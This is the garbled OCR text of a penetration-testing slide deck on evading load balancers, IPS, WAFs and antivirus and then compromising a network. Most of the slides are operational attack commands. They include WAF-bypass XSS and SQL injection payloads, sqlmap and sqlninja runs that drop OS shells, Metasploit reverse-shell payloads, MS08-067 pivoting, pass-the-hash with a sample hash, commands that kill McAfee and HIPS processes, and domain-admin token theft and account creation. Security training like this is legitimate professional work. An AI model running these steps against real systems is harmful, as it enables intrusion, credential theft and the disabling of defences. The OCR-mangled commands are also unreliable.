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Let me take you back....
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Penetration Testing Was Easy....

Step 1: Tell customer you are 31337 security professional
Customers only applied patches if it fixed something on the system
It was common practice NOT to apply system updates that didn't fix a problem you were

Step 2: Scan customer network with ISS or Nessus if you were a renegade
Customers didn't apply patches, and rarely even had firewalls and IDSs back then
You know you only ran ISS because it had nice reports...
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If you were Ub3r 31337 you did it like this....
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a3 ..':........:jln'.

(rootluang “1# nmap -a5 -0 -p 1-1024 -v 192.168.1.20 =

Starting nmap ¥. 2.54BETA/ ( wew.insecure.org/nmap/ )
Host Unknownl9.effingmanor (192.168.1.20) appears to be up ... good.
[nitiating SYN Stealth Scan apainst Unknounl9.effingmanor (192.168.1.20)
Adding 1LV port 134 (state open).
Adding TLF port 135 (stale open).
The SYN Stealth Scon took 3 seconds to scan 1024 ports,
For 055can assuming that port 13% is open and port 1 is closed and neither
are Tirewalled
[nteresting ports on Unknownl.effingmanor (192.168.1,20):
{The 1022 ports scanned but not shown below are in state: closed)
Port State Service
135/tep  open loc-sry
1a8/tep apen nethiog—ssn
[CP Sequence Prediction: Class=trivial time dependency
Difficulty=3 (Trivial joke)

sequence numbers: bY5l BYYL GUAY BYEO GUB/ BUEL
Remote operating system puess: Windows NT4 / Hin9% /7 Win98

Nmap run completed 1 IP address {1 host up) scanned in 4 seconds
Lrootluang ~ 12 I

File Edit Yiew Terminal Help

knoppi xgtt yp2
Try lnq 1”' 168.0

telnet= guit
Connection closed.
knoppixgttyp2 [enmeration]$ telnet 192.168.0,111 50
Trying 192, 168.0. i
Connected to 192.1
scape character i

/head><body=The parameter is incorrect. =/body=
tion |_1|__':Ij tl" fl gn host.
I:mpplxﬂ:typ! [enmeration]$ l

fé Terminal fé @ f'é

bl o




N Hetscape: Welcome 1o Rootshell | Hosted by connectnet.com

File Edit View Go

Comunicatar

¥).{ packet storm . - http://packetstormsecurity.org, - Mozilla Firefox

=181 %]

Datei Bearbeten dnsicht  Gehe Lesezeichen Exfras  Hife

Back  Faorward

i & 3 &4 2 u

Reload

3 & U

:’\:] T I_l/‘ v @ i\-:l @ Iﬁhttp:Jiwww.packetstormsecur\ty‘orqi

0 0 [d

Home  Search Nelscape Print ~ Security Stop

@ Erste chritte La_..‘ Aibtuelle Nachrichten ...

,r| @ What's Relate

3 b Bookmarks J; Location It : /. zootshell. can/beta/vien. cgi7103002

L-|

Connect from pitufing etsit uprm.es [138.100.17.16 —» 138.100.17.30] {Mozila4.5 [en] (X11; U; Limee 2035 1588)logged.

rootshell archive for 199902
ACC's Tigris Access Terminal server security vunerability

218199 acctigris.txt

— -

about | mirrors | search | assessment | defense | advisories | papers  magazines miscellaneous | links | forums

Jung 29, 2008 - Vet
Apple Plugs Five Security Holes

Juae 29, 2006 - Vet
Controversy Erupts Over US Cyber Security
Czar

Juae 26, 2006 - ZDNet
White House Orders Better Security For
Sensitive Data

dume 27, 2006

aircrack-ng-0.6.tar.gz (133 KB)
alrcrack-ng is a set oftools for auditing wireless netwarks. s an
enhancedirebarn version of aircrack. it consists of airadurnp (an 802.11 packet
capture prograr), aireplay (3n 80211 packet inject
[More Info]

Jung 28, 2006 - Cret Mews
AT&T Unit Settles Government Fraud Charges

June 28, 2006 - NewsFouge
Gnash, The Free Flash Player, Makes Progress

dune 27, 2006

strongswan-2.7.2.tar.bz2 (2 WE)
strangSwan is a complete IPsec and IKEW! implementation for Linux 2.4 and 26
kemels. tinteroperates with most other IPsec-hased VPN products. tis a
descendant of the disconfinued FreeSMAN proje.
[Mare Info]

=MyBE1 4 3 .
= helva-ati-Lnknown web suins. pof
i 3r-5A- 20060628 £

= UsenetSeripted 5 b
WingecGaleryyt 0 b

+IND-MKP 4

= MU-200608-02 ¢t

& cisc0-53-20062806-ap bt

& clsco-2a-20060626-wes bt

[Last 20| Last 50| Last 100]

Another way to crash HP 5m printers with firmware dated

1899 hpSerash txt before 19960829,

documentation ()

Send and receive ICMP queries for address mask and current

2/8/99 licmpquery.c ime.

2/8/99
218199

ficore.txt ff.core exploit for Solaris 2.5.1 and 26.
sendmail892against.txt Denial of service attack in Sendmail 8.9.2 with exploit.

Remote buffer overflows in various FTP servers leads to
potential root compromise. (ProFTPD 1.20preland Wuarchive | |,

29099 [ftpd.txt

100% of 15K (at 979 hytes/sec)

i T

onsistently Random

June 29, 2006

Suggested Listening
Arist Vene Remixec
Track: Return To Paradise (Mark De Clive-lowe
Remix)

Jume 26, 2005

mimedefang-2.57 tar.gz (316 KB)
MIMEDefang is 2 flexible MIME email scanner designed to protect Windows
clients fram viruges. Includes the ability to do many other kinds of mail
processing, such a3 replacing pars of messages with L.
[More Info]

ast 10 Advisories

&+ 5A-20060613-01
»MyBB-113

Kl 3r-5A-20060628 b4
L iv0 .3 bd

June 29, 2006
Random Quote
If evenything seems to be going well, you have

dune 20, 2006

yersinia-0.7.4ar.gz (322 KB)
Yersinia implements several atacks for the following pratocals: Spanning Tree
(5TP), Cisco Discovery (COP), Dynamic Host Configuration (DHGF), Hot Standhy
Router (HSRF), Dynamic Trunking (DT, 802 1

obviously overlooked something. - Steven Wiight

[Mare Info]

June 29, 2008
Know The Law

Fertig

Updates

MingeciGalleryv! 0

= MU-200608-02 ¢t

& cisc0-5a-20062806-ap it

» Cl3e0-84-20060826-ves bt
» OperPKG-54-2006.01 bt
= gecunia-Opera b

[Last 20| Last 50| Last 100]

S
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“\Documents and Settingz\NoOne\Desktop\iin 11§ Hacks\IIS Sploitzhexeciislexecii

={ Frontpage fp3Breg.d1l OQuerflow Exploit (MSB3-B51) ver

| by Adik { netmaniac [at] hotmail.KG >
http://netninja.to.ky

192.168.8.1@7

‘\[#] Target: Port: 80
{[#] Socket initialized...
[#] Checking for presence of fp3Breg.dll... Found!
[#] Packet injected!
[#] §leeping . . .
[*] Cunnectlng to huﬂt 192 168 B l? on port 9999

Microsoft Windows 2008 [Version 5.88.2195]1
(C) Copyright 1985-1999 Microsoft Corp.

C:\HIﬂNT\system32)uhoami

C:\WINNT\system3d2>

@ (Untitled) -

=l &

wiew

.exe 192.168.08.187 "nc.exet+-1+-p+3999+-p+cnd.exe"
iisexec.c | Microsoft IIS CGI Filename Decode Error |
{filipBsecurax.he?

-- Socket created.
-- Connection nade.

Ethereal

Analyze Help

EEx a8 @R @ %0 F 2 & S G F

Statistics

Go

Capture

Eilter: (ip:addr eq 192.1@8.235.128 and ip:addr eq 192.1!_58.235.1) and (tcp.port e w Expression... Clear Apply
Mo, - Time Source Destination Protocol Info
45.453026 102.168.235.1 152.168.235.128 TCP 1795 > Telnet [svm] Seq=0 ack=0 win=65535 Len=
45. 463463 192.168.235.128 192. TCP telnet = 1725 [SYH, <k
2 235.1 TCP 1795 = Telnet [ACK] seq=1l Ack=1 win=65535 Len=

[y
[
~I

P NN Y NN SR NN NN

<

Co00
o010
0020
0030

a0 50
a0 34
eb 01
rd 78

File: (Untitled) 10645

TELNET Te1net

Stream Content

Fassword: test

Last Togin: Sun May S 10:39:07 on ttyl
[Fedhaté@localhost redhatﬁjs 1ls=s=s

. [om. [Im[redhate@localhost redhaté6]$ codd
[redhaté@localhost Shome]ds 1lss

. [Om. [01; 34measyonea. [Om [01 34mftp [om
[m[redhatﬁ@TDcaThDst /the]

. [01; 34mhttpd. [om . [01;34mlost+Found. [Om

lbash: <:
< >

Save

command not Found P

Entire conwversation (655 bytes) ~ | ASCII () EBCDIC () Hex Dump ) C Arrays () Raw

Lel
..... T e o et e 2 2 TR e SRR AR ST B 2 2 A ERIES Te s ee S RE 2h  2h h 2h
Red Hat L1nux release G. 2 (ZDDt)
lernel 2.2.14-5.0smp on an 1686
-login: .rreaddhhaatt&as i
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Write The Report...

g 31337 Penetration Test.odt - OpenOffice.org Writer E@E
File Edit View Insert Format Table Tools Window Help
 R-oE=E B8 TR XEBh-8 - @E-2 B¢
EHH [Default | v] [Nimbus Roman Mo L | -v] [26 | v] [&] [&]
e e R T Y T A L R IRy =
31337 Security Dudes
3 Y our Network Sux!!!!
. All your boxes are belong to us!!!!!
5 =
: (a)
: =
P »
[Page 1/ 1 | Default [ 75% [INSRT [sTD [HYP | i
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Get Paid....
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Geez...That's A Lot To Bypass

More Security Measures are being implemented on company networks today
Firewalls are common place (perimeter and host-based)

Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows
Intrusion Detection/Prevention Systems are hard to detect let alone bypass

NAC Solutions are making their way into networks

Network/System Administrators are much more security conscious

IT Hardware/Software vendors are integrating security into their SDLC
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ldentifying Load Balancers

Most load-balancers are deployed for redundancy and performance improvement
As an attacker —load balancers are a headache.
You have no idea where you packets are going....

There is absolutely no point in running tools against a host without knowing if a
load balancer has been deployed.

So —step 1is to determine if the host is load balanced....

Step 2 —determine what type of load balancing is in place (HTTP or DNS)
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ldentifying Load Balancers

How can you tell if the target host is behind a load balancer?
Firefox LiveHTTP Headers

- https://addons.mozilla.org/en-US/firefox/addon/3829
- Look in HTTP header for modifications such as:

1. BIGipServerOS in cookie

2. nnCoection: close

3. Cneonction: close

dig
* Look for multiple addresses resolving to one domain name
* dig google.com
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ldentifying Load Balancers

How can you tell if the target host is behind a load balancer?

Netcraft.com

Ibd.sh

halberd

* Look for things like "F5 BigIP"

20. wh.dlservice. ft.com %I march 2000 akamai technologies
20. faimusic.metaservices. microsoft. o om %I febumary 2008 microsocft corp
21. traltrymicrosoftoffice. com %I april 2007 digital river, inc.
2. privacy ft T %I march 2006 microsoft corp
M EEye ft T %I november 2001 microsoft corp
4. wincgual ft T %I febumary 2003 microsoft corp

* http://[ge.mine.nu/lbd.html
*sh Ibd-0.1.sh targetcompany.com

* http://halberd.superadditive.com/
* halberd -v targetcompany.com
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ldentifying Intrusion Prevention Systems

Ok —so now you've figured out if you are up against a load balancer.
You've figured out if it's HTTP or DNS based load balancing and what the real IP is.

Just like there's no point in running tools against a load balanced host there is no point
In running tools against a host that is protected by an IPS.

Soooo00...how can you tell if the target host protected an Intrusion Prevention System?
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ldentifying Intrusion Prevention Systems

How can you tell if the target host protected an Intrusion Prevention System?
Curl: The netcat of the web app world

http://curl.haxx.se/
curl -i http://lwww.targetcompany.com/../../WWINNT/system32/cmd.exe?d
curl -i http://lwww.targetcompany.com/type+c:\winnt\repair\sam.__
Look for RSTs and no response....tcpdump/wireshark is your friend ;-)
Active Filter Detection

- http://www.purehacking.com/afd/downloads.php

- osstmme-afd -P HTTP -t targetcompany.com -v
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ldentifying Intrusion Prevention Systems

Ok, so you're up against an IPS —relax...there are a few other things to consider.

HINT:
Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic.

SSL Accelerators are expensive so not everyone has one.
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ldentifying Intrusion Prevention Systems

Most of the time you can get around an IPS by just using encryption.

The other thing to consider is whether the IPS is in-line or out of band.
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ldentifying Intrusion Prevention Systems

Does the IPS monitor SSL encrypted traffic?
vi /etc/xinetd.d/ssltest

#default: off

#description: OpenSSL s_client proxy (just change the target url)
service kerberos

{

disable = no

socket_type = stream

port = 8888

wait = no

protocol =tcp

user = root

server = /home/jOe/security/toolz/ssl_proxy.sh
only from =127.0.0.1

bind =127.0.0.1

}
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ldentifying Intrusion Prevention Systems

Does the IPS monitor SSL encrypted traffic? (Cont.)
vi /home/jOe/security/toolz/ssl_proxy.sh
#!/bin/bash

openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null

Start the service

/lusr/sbin/xinetd -d -f /etc/xinetd.d/ssltest &

Run AFD against localhost

osstmme-afd -v -P HTTP -t localhost -p 8888 -v
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Attacking Through Tor

To run scanning tools through Tor
alias hide='su -c "/home/j0e/dumbscripts/hide.sh™’

$ cat /home/jO0e/dumbscripts/hide.sh
#!/bin/bash

# Startup privoxy
/usr/sbin/privoxy /etc/privoxy/config

# Start Tor
{usr/bin/tor

$ hide
# socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050

Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool.
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Are We Forgetting Something????

What if you don't detect any active filtering solution in place?

Can you still be missing something that messing with your traffic?

What about a WAF?

Most hosts running a WAF will show as not have an Active Filtering Solution in place by tools like AFD
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ldentifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

* https://addons.mozilla.org/en-US/firefox/addon/3829
* Look in HTTP header for modifications such as:

1. Cookie Value has WAF info in it
- BIGipServerwww.google.com_pool_http
- barra_counter_session
- WODSESSION

2. Different server response code for hostile request
- 501 Method Not Implemented

3. Different "Server" response when hostile packet is sent
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ldentifying Web Application Firewalls

WAFs are surprisingly easy to detect?

Generally you just have to send 1 valid request, and one malicious request and diff the response.

Malicious tends to be any HTTP request that has a payload that contains things like:

|u<?#_‘/\*
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ldentifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Curl
curl -i http:/targetcompany.com/cmd.exe | grep "501 Method"

Netcat
$ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented"

If the server responds with error code “501 Method Not Implemented” then itis running mod_security.

WebKnight Application Firewall Alert

Cu rI Your request triggered an alert! If you feel that you have
received this page in error, please contact the administrator of
this web site.

curl -i http://lwww.targetcompany.com/%27

i What is WebKnight?
HTTP/l 1 999 NO HaC kl n g AQTRONEX WebKnight is an application firewall for web servers
. and is released under the GNU General Public License. It is an
Server . WWW Server/ll ISAPI filter for securing web servers by blocking certain requests.
If an alert is triggered WebKnight will take over and protect the
web server.

For more information on WebKnight:
http:/fwwew.aqtronix. com/M\ebKnight/

AQTRONIX WebKnight
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ldentifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Curl
curl -i http://lwww.targetcompany.com/%27

Server: Apache
Location: http://www.targetcompany.com/error

Not Found

The requested URL /error was not found on this server.
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ldentifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Curl
curl -i http://lwww.targetcompany.com/3¢c%73%63%72%69%70%74%3e%61%6¢

%65%72%74%28%27%58%53%53%27%29%3C%2f%73%63%72%69%70%74%3e
HTTP/1.1 200 Condition Intercepted

Date: Sun, 15 Mar 2009 01:42:01 GMT

Server: Apache
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ldentifying Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Waffit (WAFWOOF)

[LED@chalhnét-ﬁafwﬂﬂf]$ pythnh ﬁéfwﬂﬂf.py htfb:ffwww.micfhEGft.cnm

FIAATE £ N SSFTS SN L N S S
R A T S A VA VAR c B A c B
| n_, '/ n_i/ 7 | n_ " Nt N LSS

=z

WAFWOOF - WwWeb Application Firewall Detection Tool
By Sandro Gaucl && Wendel G. Henrique

Checking http: // www.microsoft.com

The site http: // www.microsoft.com 1s behind a Citrix MNetScaler
Mumber of requests: 4

[Lso@localhost wafwoefls [
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Bypassing Web Application Firewalls

How can you determine if the target host has deployed a WAF?

Gary O'Leary-Steele
http://packetstormsecurity.org/web/unicode-fun.txt

[[0Oe@LinuxLaptop toolz]$ ruby unicode-fun.rb

Enter string to URL Unicode:<script>alert('XSS")</script>
%u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff
54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52
%uff49%uff50%uff54%u003e

Curl

curl -i http://lwww.targetcompany.com/3¢c%73%63%72%69%70%74%3e%61%6¢
%65%72%74%28%27%58%53%53%27%29%3¢%2f%73%63%72%69%70%74%3e
HTTP/1.1 404 Not Found

Date: Sat, 14 Mar 2009 19:13:10 GMT

Server: Apache
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Attacking Websites Through Tor

alias hide='su -c "/home/j0e/dumbscripts/hide.sh™’

$ cat /home/jO0e/dumbscripts/hide.sh
#!/bin/bash

# Startup privoxy
/usr/sbin/privoxy /etc/privoxy/config

# Start Tor
{usr/bin/tor

$ hide

Firefox Tor Button
* https://addons.mozilla.org/en-US/firefox/addon/2275
Click on Firefox TOR button and have fun hacking
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DotNet Defender WAF

dotDefender Blocked Your Request - Mozilla Firefox

=101 x|
Fil=  Edit View History Bookmarks Tools Help
! | & fh c x TRT I |j |http:,l',_main.asp?g0t0=<script>alert('xss')<,|’script>&pid=3 ‘f:? ad |'|G00gle ,"_-'
@ Mosk Yisited ’ Getking Starked |50 | Latest Headlines

dotDefender Blocked Your Request

Flease contact the site administrator, and provide the following
Refarance 1D

7391-5D9B-AD44-078B

dotDefender™ Web Application Firewall
dotDefender iz 3 software-based web application firewall installed an Apache,
IIS, or Micrasoft ISA Server,

Download a fully-featured 30 days trial wversion fram:
http:/fwww applicure.comf?page=dothefendar

Daone
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Bypassing DotNet Defender

© - Mozilla Firefox = 1ol x|
File  Edit Miew History Bookmarks Tools  Help
Y2 - Gk sooge »

_*’ e c x ¥5T | |j |http:,l’_main.asp?got0=_.asp&.=1 ar 1 in (select user)--apid=/0

|8 Most Visited P Getting Started 5 | Latest Headlines

™ Acunetix Web Scanner (Free Edition) ” I StartScan~ M Abort Scan | 7 settings | |- Advanced = | Scanner status: Idle,

Microsoft OLE DB Provider for ODBEC Drivers errar S80040e07°

[Microsoft [ODBC S0L Server Driver][S0L Server]Conversion failed when converting the nvarchar value 'dbo’ to data
type int.

fCUSScripts. asp, line 1659

Done
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DotNet Defender

- Mozilla Firefox 1= =l

Eil= Edit  Wiew History  Bookmarks  Tools Help

Cc X o [O]

@ Most Yisited ’ iGetting Starked S Latest Headlines

o 2O UFFAF S UFFS 2 %U0020%0FF 1 195000 5.7 |-|Google a]

Microsoft OLE DE FProvider for ODBC Drivers error S0040e07"

[Microsoft][ODBC SCL Server Driver][SOL Server]Conversion failed when converting the nvarchar walue 'Microsoft SQL Server 2005 -
9.00.3077.00 (Intel X86) Dec 17 2008 15:19:45 Copyright (c) 1988-2005 Microsoft Corporation YWorkgroup Edition on Windows NT 5.2
(Build 3790: Service Pack 2] "to data type int.

fCUSScripts. asp, line 1732

Done @ ,;
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Dumping Admin PW — sorry DotNet Defender

- Mozilla Firefox = | =) |i|

Eile Edit L= Hiskars EBookmarks Tools Help

én*' C X o |[1]

@ Mosk Wisited ’ Getking Started S | Latest Headlines

1 or 1 in {select master.dbo.fn_wvarbintohe:x ‘ﬁf[‘ - I - | iZoogle )'-'

Ficrosoft OLE DE Provider for ODBC Drivers error 80040207

[Microsoft[ODBEC SQAL Server Driver][SQL Server]Tonwversion failed when converting the rvarchar value
Dx01004056cebBfE141be37 de?2b10050c2decd7 45296 c5atbalsb3’ to data type int.

JCUSScripts.asp, line 1732

—{5= SE—
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Getting Into The LAN from the web....
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SQL Injection to Metasploit (SQLNInja)

cd /home/beatdown/toolz/sqglninja-0.2.3/
vi sglninja.beatdown.conf

host = [target ip]

page = /vuln/vulnpage.asp

stringstart = VulnID=10;

lhost = [your ip]

device = ethO

msfpath = /home/beatdown/toolz/metasploit
resolvedip = [your ip]

Jsqlninja -m t -f sqlninja.beatdown.conf (test for injection)
Jsqlninja -m f -f sqlninja.beatdown.conf (fingerprint the backend db)
Jsqlninja -m u -f sqlninja.beatdown.conf (upload dnstun, netcat, or meterpreter)

Jsqglninja-m s -f sglninja.beatdown.conf (drop a shell)
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SQL Injection to Metasploit (SQLMap)

cd /home/beatdown/toolz/sqlmap-dev

python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1
os-shell>

python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path
/home/beatdown/toolz/metasploit --priv-esc -v 10
meterpreter>
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Getting in via clinet-side

sudo ./msfconsole Be sure to run as root so you can set the LPORT to 443
use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit]

set PAYLOAD windows/meterpreter/reverse_tcp

set ExitOnSession false

set LHOST [your public ip]

set LPORT 443

exploit -j
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Pivoting into the LAN

Pivot Attack: Using a compromised host as a launching point to attack other hosts...
...... set up standard exploit
exploit
route
ctrl-z <-- background the session
back <--- you need to get to main msf> prompt

Now set up Pivot with a route add
route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id
route print <----- verify
use exploit/windows/smb/ms08 067_dcom
set PAYLOAD windows/shell/bind_tcp
set RHOST 192.168.10.132
set LPORT 1234
ctrl-z <-- background the session
back <--- you need to get to main msf> prompt

Run auxillaries & exploits through your pivot
use scanner/smb/version
set RHOSTS 192.168.10.1/24

run
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Common LAN Security Solutions

NO DHCP - static IP addresses
DHCP MAC Address reservations
Port Security

NAC solution

N PR
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Common LAN SecuritySolutions

1. NO DHCP - static IP addresses
1. Steal valid IP address from host
2. DHCP MAC Address reservations
1. Steal valid MAC address
3. Port Security
1. Steal valid MAC/IP address
4. NAC solution

1. Look for 802.1x exceptions such as printers, VolP phones
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Bypassing NAC Solutions

wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz
tar -zxvf vlan.1.9.tar.gz
cd vlan

tshark -i ethO -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice

vconfig add ethO 200 # 200 is Voice VLAN ID in example
ifconfig eth0.200 # Verify new interface was created
dhcpd -d -t 10 eth0.200 # Try to get dhcp

or

voiphopper
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Enumerating The Internal Network Against NIPS/HIPS

c:\set Use SET to get domain information and username

c:\net view Use NET VIEW to get computers in the users domain and other domains
c:\net view /domain Use NET VIEW to get computers in other domains

c:\net user Use NET USER to get local users on the computer you are on
c:\net user /domain All users in the current user's domain

c:\net localgroup Use NET LOCALGROUP to get the local groups on the computer
c:\net localgroup /domain Use NET LOCALGROUP to get the domain groups

c:\net localgroup administrators All users in the local administrators group

c:\net localgroup administrators /domain All users in the domain administrators group

c:\net group "Company Admins" /domain All users in the "Company Admins" group

c:\net user "joe.mccray" /domain All info about this user

c:\nltest /dclist: List Domain Controllers...

Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic
to an NIPS so you can use NET commands to enumerate a network without port scanning.
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Looking Around the Network For A User

Some commands to identify a logged in user

NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer"
WMIC /Node:remotecomputer ComputerSystem Get UserName
PSLOGGEDON -L \\remotecomputer

PSEXEC \\remotecomputer NET CONFIG WORKSTATION | FIND /I * name "
PSEXEC \\remotecomputer NET NAME

PSEXEC \remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username"
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Moving Around The Network

Smoking some MSF hash: Moving around the network using password hashes

use exploit/windows/smb/psexec

set RHOST 192.168.10.20

set SMBUser administrator

set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cbh6948805f797bf2a82807973b89537
set PAYLOAD windows/shell/reverse_tcp

set LHOST 192.168.10.10

exploit
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1. Stop the overall AV Framework
net stop "McAfee Framework Service"

2. Stop the HIPS

net stop hips
Microsoft Windows HP [Version 5.1.26881
net Stop enterceptagent (C> Copyright 1985-2881 Microsoft Corp.

. IC:“Documentz and Settings“Admin>time
net stop firepm he cuprent time is: 19:15:37.58
[Enter the new time:

IC:“Documents and Settings“Admin>at 17:17 ~interactive cmd.exe

3 MCAfee Processes Ndded a new jobh with job ID =1

pskill -t UdaterUl

pskill -t TBMon

ill - i Microsoft Windows HP [Uersion 5.1.260801
pSkIH tMCShleld ¢G> Copyright 1785-2881 Microsoft GCorp.

pskill -t VsTskMgr :\WINDOWS s ystem32>
pskill -t shstat

IC:~Document=z and Settings“Admin>

4. HIPS Processes
pskill -t firetray
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Killing The HIPS (as SYSTEM with Metasploit)

1. Stop the overall AV Framework
net stop "McAfee Framework Service"

meterpreter > getuid
2. Stop the HIPS Server username: WINXPSP3\user **useris anadmin, if not admin you can only use -t 4 or -t 0 which will
net stop hips iterate through all options™

net stop enterceptagent

. meterpreter = uUse priv
net stop firepm P P

Loading extension priv...success,

meterpreter = getsystem -h

Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

3. McAfee Processes
pskill -t UdaterUl

pSkI” -t TBMon OPTIONS:
pskill -t Mcshield
pskill -t VsTskMgr -h Help EBanner.
pskill -t shstat -t The technigue to use. (Default to '@')
g : All technigues available
4. HIPS Processes 1 : Service - Named Pipe Impersonation (In Memory/Admin)
oskill -t firetray 2 Eerv%ce - Hamed PlpE.Imp?FEDnEtIDn [Drnpperiﬂdmln}
3 1 Service - Token Duplication (In Memory/Admin)
4 1 Exploit - KiTrapeD {In Memory/User)
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Stealing a domain administrator's token....

meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter>impersonate_token "domain\\user”

meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token
or

meterpreter > list_tokens -g
meterpreter > impersonate_token "DOMAIN\\Domain Admins"
meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token

meterpreter = list tokens -g

Add yourself to the Domain Admin's group Delegation Tokens Available
c:\net user jOe j0OeROck$ /domain /add BUILTIN\Administrators
c:\net localgroup administrators jOe /domain /add NT AUTHORITYALOCAL SERVICE

NT AUTHORITY\WMETWORK SERVICE

Impersonation Tokens Available

LsOsvDomain Users

meterpreter > impersonate_token "LsO0Z“\Domain Users"
[-] No delegation token awvailable

[+] Successfully impersonated user LSOZaadams
meterpreter = |
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Contact Me....

You can contact me at:

Toll Free: 1-866-892-2132
Email: joe@learnsecurityonline.com
Twitter: http://twitter.com/j0emccray

LinkedIn: http://www.linkedin.com/in/joemccray
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